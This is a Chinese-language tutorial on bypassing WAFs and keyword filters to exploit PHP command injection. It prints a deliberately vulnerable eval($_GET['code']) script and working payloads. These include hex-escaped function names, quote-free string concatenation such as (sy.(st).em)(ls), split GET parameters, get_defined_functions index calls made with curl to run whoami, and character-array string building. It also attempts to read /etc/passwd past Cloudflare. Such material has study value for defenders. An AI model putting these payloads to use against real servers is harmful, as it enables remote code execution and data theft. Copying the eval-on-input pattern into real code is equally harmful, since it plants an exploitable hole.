PHP命令执行时的WAF&Filter绕过方法

介绍

命令执行是非常危险的一种漏洞,会造成严重的信息泄露,还可能导致 getshell,本文介绍如何去绕过一些简单的防命令执行,仅仅提供一种思路,实际情况各有不同。
先来看一段存在命令执行漏洞的 php 代码:

1
2
3
4
5
6
7
<?php
if(preg_match('/system|exec|passthru/', $_GET['code'])){
echo 'invalid syntax';
} else {
eval($_GET['code']);
}
?>

第二行试图校验 system, exec, passthru 三个函数,但这明显是远远不够的,还有很多其他的函数可以执行命令,但这里让我们假设只有这三个,这个脚本运行于 CloudFlare WAF 之后,

尝试读取/etc/passwd

我们尝试请求/cfwaf.php?code=system(“cat /etc/passwd”); 这时 WAF 拒绝了我们的请求,我们可以假设是因为 /etc/passwd 这一重要文件引起,所以我们尝试修改为”cat /etc$u/passwd”,这时候由于存在 system 关键词,会输出’invalid syntax’,接下来考虑怎么样可以避免直接使用 system。

php 字符串编码

\[0-7]{1-3}代表八进制

\x[0-9A-Fa-f]{1,2}代表 16 进制

\u{[0-9A-Fa-f]{1,2}}代表 Unicode 编码,通常实现为 UTF-8

并不是所有人都知道这么多表示字符串的语法,再加上 php 变量函数,这将会成为我们绕过 WAF 或者 filter 的瑞士军刀。

php 变量函数

php 支持通过变量调用函数,比如

1
2
$var(args); 
"string"(args);

都可以当做函数调用。这也就意味着我们可以进行如下转化:

1
2
3
4
5
system("ls")

"system"("ls")

"\x73\x79\x73\x74\x65\x6d"("ls")

第三种直接将 system 转为 16 进制来执行,这样我们做到了不直接使用 system。

这种技术并不是适用于所有函数,比如 echo, print, unset(), isset(), empty(), include, require 这种类函数语句是不能用上面这种方式代替的。

不使用引号

代码修改为

1
2
3
4
5
6
7
<?php
if(preg_match('/system|exec|passthru|[\"\']/', $_GET['code'])){
echo 'invalid syntax';
} else {
eval($_GET['code']);
}
?>

可以看到我们加入了单引号和双引号的判断,这就意味着我们上面那些语句都会触发过滤。
幸运的是,在 PHP 里,我们表示一个字符串并不一定要用引号,比如
$a = (string)foo;
接着我们尝试如下转换:

1
2
3
4
echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);

执行过后你会发现连 string 都没必要使用,直接用括号就可以转换。也就是说我们执行(system)(ls);是被允许的,但是我们不能用 system,所以尝试字符串拼接(sy.(st).em)(ls);。或者我们加两个参数,绕过对于 code 参数的检测
?a=system&b=ls&code=$_GET[a]($_GET[b])
也就是说我们可以通过字符串拼接和变量调用两种方式来绕过。

get_defined_functions

get_defined_functions 返回一个数组,假设是$arr, 里面包含所有的内置和自定义函数。

1
2
3
4
5
$arr = get_defined_functions();
# 所有内置函数
$arr[internal]
# 所有自定义函数
$arr[user]

比如我们尝试执行

1
php -r 'print_r(get_defined_functions()[internal]);' | grep 'system'

即可知道 system 函数是第几个函数,我这里是第 503,所以绕过上面的过滤时就可以这样:

1
2
3
4
# 先找到system的位置
curl 'http://test/cfwaf.php?code=get_defined_functions()[internal]' | grep 'system'

curl 'http://test/cfwaf.php?code=get_defined_functions()[internal][503](whoami)'

字符数组

在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。

1
2
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'

这样在请求的时候我们可以取FILE路径名的字符来构造我们的 payload。

本文参考自 https://www.exploit-db.com/docs/46049